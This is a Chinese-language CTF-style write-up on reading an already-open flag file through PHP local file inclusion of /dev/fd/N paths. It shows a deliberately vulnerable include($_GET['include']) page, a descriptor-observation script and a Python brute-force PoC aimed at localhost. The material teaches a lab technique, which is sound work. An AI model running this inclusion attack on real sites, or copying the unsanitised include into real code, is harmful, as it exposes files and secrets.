0x00 原理

  文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。

  • 翻译成人话- 可以认为是指向文件的一个指针,如果有文件被打开,就生成一个指针指向打开文件的位置。
  • 文件描述符一般在linux的 /dev/fd/目录下

0x01 代码审计

<?php
$fp = fopen("flag.txt", "r");
echo $fp;
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>

访问页面

  之前犯了一个小错误,我以为只要打开文件然后查看/dev/fd目录就能看到新生成的指针, 实在有点天真, 手速怎么可能比电脑快呢?然后就是开始乱查,是不是自己linux权限问题还是php有问题,或者是不能包含文件描述符?最后问了问大佬,马上就知道错在哪了,认识大佬真好。

大佬建议写个脚本进行观察

<?php
var_dump(scandir("/dev/fd/"));
$fp=fopen("flag.txt","r");
echo '<br/>'; var_dump(scandir("/dev/fd/"));
echo '<br/>';
fclose($fp);
var_dump(scandir("/dev/fd/"));
echo '<br/>';
?>

这里我打开的是flag.txt,观察生成的文件描述符名字是什么



可以看到 当fopen函数打开了 flag.txt时,扫描的fd目录下突然多出了13,然而13是因为存在12才出现的。可能是文件描述符源码中数组下标的问题。第12个指针才是真正保存文件位置的指针。

如果是黑盒渗透的情况下,我们需要写脚本进行爆破。

poc

import requests
url='http://localhost/fa.php'
for i in range(0,100):
payload=f'?include=/dev/fd/{i}'
#print(url+payload)
r=requests.get(url+payload)
if "flag={" in r.text:
print(r.text)
print(payload)

  通过枚举法爆破每个目录下的文件名,因为文件描述符的文件名是根据打开文件的个数生成的,比如0代表打开第一个文件,1代表打开第二个文件。



可以得到flag

最新文章

  1. Spark BlockManager的通信及内存占用分析(源码阅读九)
  2. Git 使用命令
  3. 使用Path语法取得对象的值
  4. 部署新浪SAE web.py Session及图片上传等问题注意事项
  5. Opencv 摄像头矫正
  6. 关于Eclipse中的快捷键占用的解决.
  7. Linux+svn无法显示日志
  8. SherlockactionBar中手动调用onCreateOptionsMenu的办法
  9. 今天进行了一次IOS面试,分享一下面试结果
  10. Java面向对象基础二
  11. TCP数据包结构
  12. zookeeper-开始
  13. CF 375C Circling Round Treasures [DP(spfa) 状压 射线法]
  14. pyenv 安装
  15. Spring(五):Spring&amp;Struts2&amp;Hibernate整合后,实现查询Employee信息
  16. 使用python调用shell判断当前进程是否存在
  17. 微信JSAPI分享朋友圈调试经验:invalid signature签名错误排查
  18. 每天学习一个Linux命令-目录
  19. PythonStudy——集合 Set
  20. sigar获取Windows系统的硬件信息进行JAVA后台系统资源监控

热门文章

  1. 【笔记】《Redis设计与实现》chapter16 Sentinel
  2. Go-08-函数与指针
  3. Day05_18_类和对象的含义与关系
  4. Weekly Contest 184
  5. 1.6.2- HTML 无序列表注意事项
  6. Jquery 代码参考
  7. Shell-日志按天切割
  8. [CTF]跳舞的小人
  9. 【Github搬砖】Python入门网络爬虫之精华版
  10. 一、postman基础